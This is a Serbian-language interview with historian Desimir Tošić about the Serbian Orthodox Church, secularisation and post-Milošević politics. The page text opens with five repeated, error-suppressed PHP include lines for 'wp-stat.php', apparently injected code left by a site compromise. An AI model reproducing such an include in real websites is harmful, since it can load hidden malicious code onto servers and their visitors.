@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); DESIMIR TOŠIĆ, ISTORIČAR I PUBLICISTA: Srbija pod mantijom – Nedim Sejdinović

DESIMIR TOŠIĆ, ISTORIČAR I PUBLICISTA: Srbija pod mantijom

Naš sagovornik Desimir Tošić, koji je pripadao tzv. demokratsko-prozapadnoj emigraciji, posle pola veka «izbivanja», vratio se u Srbiju početkom devedesetih, verujući da svojim političkim iskustvom može potpomoći njenu demokratsku transformaciju. Srbija je međutim devedesetih krenula u sasvim drugom pravcu, a Tošić je bio politički aktivan u Demokratskoj stranci, iz koje je izašao sredinom devedesetih i, zajedno sa Dragoljubom Mićunovićem, osnovao Demokratski centar, koji se opet u oktobru prošle godine vratio pod okrilje DS-a.

U periodu od 1943. do 1990. godine Desimir Tošić je bio: zatočenik nacističkog logora na Sajmištu, prinudni radnik u Viner Nojštatu, begunac iz tog logora 1944, odmah potom politički begunac iz Srbije, pariski student prava, osnivač i kasnije urednik časopisa “Naša reč” (Pariz – London), saradnik istraživač u Međunarodnom centru slobobdnih sindikalista u Parizu, službenik Živka Topalovića, radnik u jednoj američkoj fabrici žica i federa, član i osnivač Udruženja srpskih pisaca i umetnika u inostranstvu, saradnik Centra za istraživanje jugoslovenskih problema u Londonu, član jugoslovenskog komiteta u Evropskom pokretu od 1959, hroničar, sagovornik malih i velikih emigranata.

Tošić je nedavno objavio knjigu «Crkva, društvo i država», koja je jedan od povoda za ovaj razgovor.

Protekle sedmice usledila je nova afera vezana za Srpsku pravoslavnu crkvu, i to za sam njen vrh. Za svece su proglašeni crnogorski popovi koji su, po svemu sudeći, činili zločine tokom Drugog svetskog rata. Šta je to u SPC što ju stalno tera da ulazi u sukob sa sadašnjošću i proizvodi afere?

– Opšti moj utisak je da naša Crkva želi da na silu poveća broj svetaca. Već je slučaj sa episkopom Nikolajem bio izuzetno kontroverzan: čovek koji sedi zatočen u nacističkom logoru Dahau a piše pozive za borbu protiv Zapada! O zločinima nad Jevrejima i drugima ni reči, iako je dosta govorio i pisao protiv Jevreja. Što se tiče ratnih zločina, morate da budete pažljivi. Kod nas je lako obeležiti čoveka kao lopova ili zločinca. Kad čitate današnje feljtone, imate utisak da su komunisti posle 1944. godine pobili pola srpskog naroda… Ubijanja je bilo i to masovnog, ne samo u Jasenovcu… U svakom slučaju, čini mi se da niko ne može biti proglašen svecem samo zato što je bio ubijen. Takav je slučaj, ja mislim, i sa bratom Svetozara Vukmanovića Tempa. Šta našu pravoslavnu Crkvu goni na ovaj put izgubljenosti? Mislim da je frustracija Crkve duboka zbog onog što se zbivalo posle 1945. godine. Očigledano je da se bar glasni deo episkopata izjašnjava za osvetu “komunistima”, da želi restauraciju stanja od pre 1941. godine, koje je sve do 27. marta 1941. bilo izuzetno nedemokratsko stanje.

KOLABORACIJA I MANIPULATORI

Odnos između SPC i današnjih političara je kompleksan. No, možemo li odgovoriti na pitanje ko na koga više utiče – Crkva na političare ili političari na Crkvu? Da li neko tu ima ulogu manipulatora, a neko manipulisanog?

– Dobro ste rekli da je to pitanje politike i crkve kompleksno, tako je bar danas. Tako nije bilo od 1804. do 1941. Razlog za sve to jeste u tome što živimo u prelaznom stanju, između jednog komunističkog sistema makoliko razvodnjenog, pre 1987, i jedne nove civilizacije budućnosti gde crkva, ili crkve, moraju da budu odvojene od države, ali i država od crkve. Čini mi se da naši političari nemaju nikakva uticaja na crkvu. Što se tiče pravoslavne Crkve, ona ima pred sobom tri razna ljudska faktora. Nikad u jednoj našoj vladi, ni pre 1941, nije bilo toliko vrsnih bogomoljaca kao danas u vladi Republike Srbije. S tim ljudima pravoslavna Crkva može sve da čini. Ali postoji i drugi ljudski faktor; to su naši oportunisti, takozvani populisti i podvaladžije. Bez obzira da li se osećaju pravoslavcima, oni se svojim javnim ispovedanjima žele prikazati vernijima od vernika, krste se povazdan. Oni veruju da će glasači posebno udostojiti poverenjem ovakve ljude. Tako se u toku prošlih godina više puta opekao Vuk Drašković, koji je dugo verovao da su svi Srbi ravnogorci, svi Srbi monarhisti, i svi Srbi pravoslavci odnosno vernici… Postoji i treći ljudski faktor, a to su građani i društveni radnici koji žele u punoj meri sekularizovanu državu i društvo, ali često nastupaju takođe nespretno. Više napadaju nego što kritikuju. To Srpska pravoslavna crkva koristi kao ateistički napad na Crkvu, čega je bilo itekako u komunističkoj prošlosti.

Svojevremeno ste rekli da kada se gleda recimo proslava godišnjice Prvog srpskog ustanka, ima se utisak da su ustanak poveli i izveli sveštenici. Postoji jedna sasvim obrnuta teza, da su Turci uspešno vladali tolike godine Srbijom i Grčkom upravo uz pomoć visokog sveštenstva, koje je bilo korumpirano. Kakvo je vaše mišljenje o ovom stavu?

– Da počnem sa odgovorom na Vašu poslednju pretpostavku. U prošlosti je bilo mnogo korupcije, posebno u Srednjem veku. Ako recimo čitate Dušanov zakon od 1346. i 1349, videćete da, mislim, četiri paragrafa kažnjavaju korupciju, a od tih paragrafa treba da se tri odnose na Crkvu iz XIV veka. Međutim, ne bih upotrebio izraz “uspešno vladali” – Turci nad Srbima i Grcima. Bio je jedan period vremena kad je Srpska crkva bila autonomnija i nacionalno aktivnija, a to je vreme Pećke patrijaršije između 1557. i 1766. godine. Verovatno da je tu bila neka vrsta “kolaboracije”, ali ćemo to saznati verovatno najviše od dana kada naši istoričari budu počeli da čitaju turske dokumente. Ne verujem da je srpski narod između sredine XVI i sredine XVIII veka bio inače spreman za borbu protiv Turaka, a da ih je Crkva ometala…

NIJE LAKO «VRATITI SVE NA SVOJE MESTO»

Predsednik Srbije Boris Tadić izjavio je pre nekoliko meseci da je SPC deo društva i da ima pravo da komentarište i iznosi stavove o svemu što se u tom društvu dešava. Da li se može reći da svi naši vodeći političari učestvuju u desekularizaciji države?

– Ne verujem da većina naših političara, najmanje predsednik Tadić, žele da desekularizuju državu. Ali, nespretnim izjavama to čine. S druge strane, ne samo crkve nego i sve društvene organizacije imaju prava u slobodnoj zemlji da iznose svoje stavove o društvenim problemima, kao što na to imaju prava i svi građani. Međutim, našim ljudima nije dosta jasna sekularizacija ni klerikalizacija društva, pošto mi tih problema nismo imali u prošlosti. I u Srednjem i u Novom veku Pravoslavna crkva je bila na neki način podređena državi.

Ako i razumemo to što se naši političari tako zdušno ulaguju Crkvi, svakako ne možemo razumeti činjenicu da među srpskom intelektualnom elitom ima veoma malo onih koji su spremni da kritikuju ponašanje Crkve i njenu ulogu u društvu?

– Morate razumeti, jer morate poći od činjenice da je naše malo i nerazvijeno društvo u ovih šezdesetak godina doživelo i preživelo teške udare, čitave zemljotrese. Narodi, koji imaju bogatiju istoriju i imaju stvarno razvijenu elitu i godina i decenijama, lakše su podneli slične udarce. Kod nas je nastala žestoka pometnja ne samo u eliti, ukoliko je ima kao neke društvene snage, nego i kod velikog broja građana, da ne kažemo kod većine. Ne treba da zaboravite, ja bar tako mislim, da je posle 1945. građeno “besklasno društvo”, u kome nije elita uticala ili odlučivala nego Partija i njena ideologija, a ja bih dodao i da je ta Partija imala velikog uticaja u masi naroda. Da ne kažem i značajnog uspeha. Vratiti “sve na svoje mesto”, pa i Crkvu, nije lak posao i ne može da se izvrši za kratko vreme.

PROBLEMI SA «VARENJEM»

DOS-ova vlast je – to će danas reći i njeni predstavnici – menjajući državu, propustila da menja društvo. Da li je preteška ocena da se sadašnje srbijansko društvo nalazi u još goroj situaciji nego za vreme Miloševićeve vladavine?

– Ne verujem da se današnje društvo nalazi u težem položaju nego za vreme Miloševića. Ono što je vidljivo, to je da se stalno ide korak unazad ili stagnira, nema napretka i nema nade da bude drugojačije dogod je ova današnja vlast u Srbiji. Ona je sastavljena od vrsnih bogomoljaca, političkih cirkuzanata i našminkanih oportunista. Međutim, jedna vlast ne može da menja društvo. Ona može da nametne neke norme i neka postupanja, i to može biti prihvaćeno u datom trenutku. Vlast može da utiče na društvenu svest, da je uputi naprednim putem, ali se društva menjaju sama od sebe. U društvu mora da bude više racionalnih i energičnih autohtonih snaga koje kreću u dobrom, kako bi se danas olako reklo – evropskom pravcu. Na kraju da kažem da je DOS-ova vlast bila nejedinstvena, slaba, opterećena bremenom kakvo može eventualno samo da se zamisli. Trajala je kratko, ni pola decenije, uz sve nesreće od nasleđa kao i zbog težeg međunarodnog okruženja

Postoji na našoj javnoj sceni, prilično zastupljena, teza da je put u Evropu moguć samo podsticanjem i unapređenjem ekonomije i zakonodavstva, bez izgradnje svesti o tome šta se dešavalo na ovim prostorima tokom devedesetih. Je li takav put odista moguć?

– Put ka Evropi za svaku nekadašnju komunističku zemlju bio je trnovit, ali niko sem nas Srba nije imao raspad države, i to u krvi. Pojam Evrope podrazumeva opštu našu modernizaciju za koju se vodi borba kod nas već preko sto godina. U pravu je Vaše pitanje da li je moguć put ka evropskoj zajednici, bez svesti o toj zajednici, odnosno bez svesti o Evropi. Ne, nije moguć. Čak bismo mogli reći da bi pozitivniji put bio kada bismo imali razvijenu svest i pre razvijene ekonomije i evropskog zakonodavstva. Prošlost zahteva da se u nju pogleda bez slabosti i mitologije. Priznati da je društvo grešilo, što je, na primer, godinama davalo glas Miloševiću. Grdno smo vreme izgubili i osramotili se. Pa i danas, u našoj Skupštini je najjača ekstremistička nacionalistička stranka. Da li toga ima i jedna zemlja u okruženju, počev od Grčke preko Albanije do, recimo, Slovenije? Tako i u vezi s međuetničkim ratom. Rat je bio zlo, ali još veće zlo, koje traži oslobođenje od greha, to su ratni zločini koje su naši ljudi počinili nad zarobljenim vojnicima ili ženama i nad decom. Sve to mora na neki način da se “svari”…

Nedim Sejdinović

POLITIKA BEZ IDEOLOGIJE

Kako gledate na uspon Bogoljuba Karića i njegove politike bez ideologije?

– Vrlo malo ima ideologije i kod drugih stranaka. Ali slučaj, koji navodite, je samo dokaz još jedne naše sramote. Reč je o čoveku koji dolazi iz Miloševićevog desetogodišnjeg korpusa, koji dolazi s velikim parama. Ovaj poslednji podatak kazuje Vam u kojoj je meri masovno razvijena naša korupcija. Obično, kad se govori i piše o korupciji, misli se na vlast, na ministre i slične. Ovakva pojava pokazuje, međutim, da je korupcija ušla i u našu masu, jer se olako veruje da će “para biti kao blata”… Pored raznih mitologija kod nas ima mnogo i detinjastih zabluda. Niko nama nije više kriv nego mi sami, naše društvo, možda ne “ćuteća većina”, ali najznačajniji deo našeg aktivnog društva. Kao što vidite, nama treba mnogo vremena i mnogo rada, ali pre svega da savladamo našu stvarnost, da je vidimo u celini, ne optužujući olako pojedince s jedne ili s druge strane.

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.